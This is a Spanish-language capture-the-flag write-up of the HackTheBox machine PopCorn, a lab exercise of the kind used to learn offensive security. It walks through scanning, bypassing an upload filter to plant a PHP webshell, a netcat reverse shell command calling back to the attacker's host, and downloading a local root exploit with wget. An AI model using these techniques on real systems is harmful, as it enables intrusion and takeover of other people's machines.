PopCorn – HackTheBox Write-Up

PopCorn – HackTheBox Write-Up

Hoy vamos a resolver la máquina PopCorn de HackTheBox, en ella, gracias al fuzzing lograremos identificar un directorio donde hay un portal torrent, ahí podremos subir una shell reversa y podremos escalar privilegios gracias a un exploit local, que para descubrir esto, debemos buscar una pista que está dentro de un directorio oculto en el sistema.

Dificultad asignada en la plataforma: 4.6/10

Dirección ip de la máquina en mi caso: 10.129.36.23

Esta sala se divide en:

Enumeración

Como siempre, se hace un escaneo de todos los puertos con furious para identificar losque estén abiertos, para ello:

furious -s connect -p1-65535 <Ip>

Vemos que tiene el 22 (SSH) y el 80 (HTTP) abiertos, ahora, con nmap hay que hacer un escaneo más profundo, para ello:

nmap -sC -sV -p22,80 <Ip> -oN <nombre_archivo_salida>

Vemos que estamos frente a un apache, al entrar, veremos que solo nos muestra un mensaje de que el servidor está listo:

Probemos hacer fuzzing con gobuster sobre este servicio, para ello:

gobuster dir -u <url> -w <wordlist>

Vemos que tenemos algunos directorios, vemos que tenemos un directorio llamado torrent, al entrar en el veremos que, efectivamente es un portal de torrent en el que nos podemos registrar:

Aunque para ello, debemos añadir al /etc/hosts popcorn.htb ya que, en este web hay muchos recursos a los que solo podremos acceder a través de este dominio:

Ahora sí, vamos a registrarnos primero que todo:

Al logearnos vemos que, tenemos un apartado para subir torrent’s:

Explotación

En este punto, subiremos un Torrent, da igual la verdad el que sea:

Una vez subido:

Podemos ver que, hay una opción que nos permite editar el Torrent, lo interesante de esto es que nos deja cambiar la foto descriptiva del Torrent:

Ahora, lo que vamos a hacer es subir una webshell en php, que el servidor lo interprete como imagen, nos permita subirla y, podamos tener una shell de la máquina víctima, si la subimos sin más nos va a dar un error puesto que, no permite extensiones que no sean jpg, jpeg, gif y png en teoría, entonces, vamos a subir la webshell, capturamos la petición con burp, cambiamos el content type al de, por ejemplo una imagen en jpeg y así el servidor pensará que subimos una imagen cuando en realidad subimos una webshell, para ello, abrimos Burp, subimos la webshell y capturamos la petición:

Al hacerlo, veremos que lo ha subido:

Seguidamente, nos vamos a la ruta donde se guardas los recursos subidos y abrimos nuestra shell en php:

Al abrirla, podemos ejecutar, por ejemplo, el comando whoami y, veremos que efectivamente ya estamos comunicándonos con el sistema operativo:

Ahora, a lo que nos interesa, la shell reversa, para ello haremos uso de netcat, es importante resaltar que, en las versiones anteriores de netcat, el parámetro -e no estaba disponible, tras probar con varias revershell’s tanto de bash como del propio netcat, me sorprendió que esta máquina sí contará con una versión actualizada de este binario, en fin, después de filosofar, usaremos la siguiente shell reversa:

nc -e /bin/sh <ip> <puerto>

Importante tener netcat a la escucha en el puerto que pusimos, en mi caso, puse el 443, así que partiremos de ese, para ello:

nc -lvp <puerto>

Y, al enviar la petición, ya obtendremos la shell como el usuario www-data:

Ahora hay que hacer un tratamiento de la tty para obtener una shell más interactiva y, posteriormente, leer la bandera de usuario:

Escalación de privilegios:

Haciendo una enumeración corta y rápida, podemos notar que en el directorio del usuario george hay directorio oculto llamado cache y, dentro de este hay un fichero con el nombre motd.legal-displayed:

Tras una búsqueda rápida en Google, he encontrado múltiples exploits locales de escalada de privilegios, me he decantado por este, entonces, al ser local necesita estar dentro de la máquina donde se va a usar, para ello haremos uso de un servidor http de Pyton para transferirlo a la máquina víctima, para ello, en la máquina atacante:

python3 -m http.server 80 

Y, en la máquina PopCorn:

wget http://<nuestra_ip>/<nombre_exploit>

Ya teniendo el exploit en la máquina víctima, lo ejecutamos:

Y ya somos root, procedemos a leer la bandera y culminar así la máquina:

Extra

A la hora de usar el exploit local que use yo, puedes encontrarte un problema al ejecutarlo, algo más o menos así:

Esto significa que, dentro del script se indica que debe ser ejecutado por una shell ubicada en /bin/bash^M, este último no existe, en caso tal sería /bin/bash, el ^M que se le añade al lado a la ruta de /bin/bash porque es un carácter de carro, esto es algo nativo de sistemas Windows cuando se hace algo tan simple como un “enter” para hacer un salto de línea, verás, Linux para marcar un final de línea usa el carácter de salto de línea(EOL) muy diferente al que se usa en sistemas Windows, ya que aquí se usa la secuencia de dos caracteres CR LF,  pero en linxu no se logra entender esto y por eso da este error, esto se produjo a lo mejor porque hubo una edición del fichero en algún sistema Windows, para solucionarlo, se puede hacer uso de la herramienta dos2unix seguida del fichero:

Opinión personal:

  • Dificultad de acceso: 17% 17%
  • Dificultad de escalación de privilegios: 15% 15%

He hecho esta puntuación basándome en estos valores propios:

Fácil1% – 30%

Medio: 31% – 70%

Difícil: 71% – 100%

Sobre el Autor

C0ldd

Founder of Coldd Security

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Información adicional sobre protección de datos:
Responsable: Martin Frias.
Finalidad: Moderar los comentarios de este sitio web.
Cesión: NO se cederán a nadie, salvo obligación legal.
Derechos: Acceso, rectificación, cancelación y borrado de tus datos.
Legitimación: Tu consentido expreso.

Sponsor By

Coldd Security

REDES SOCIALES

Newsletter

Estadísticas

  • 55.938
  • 43

TheHackerSnow

0

Share This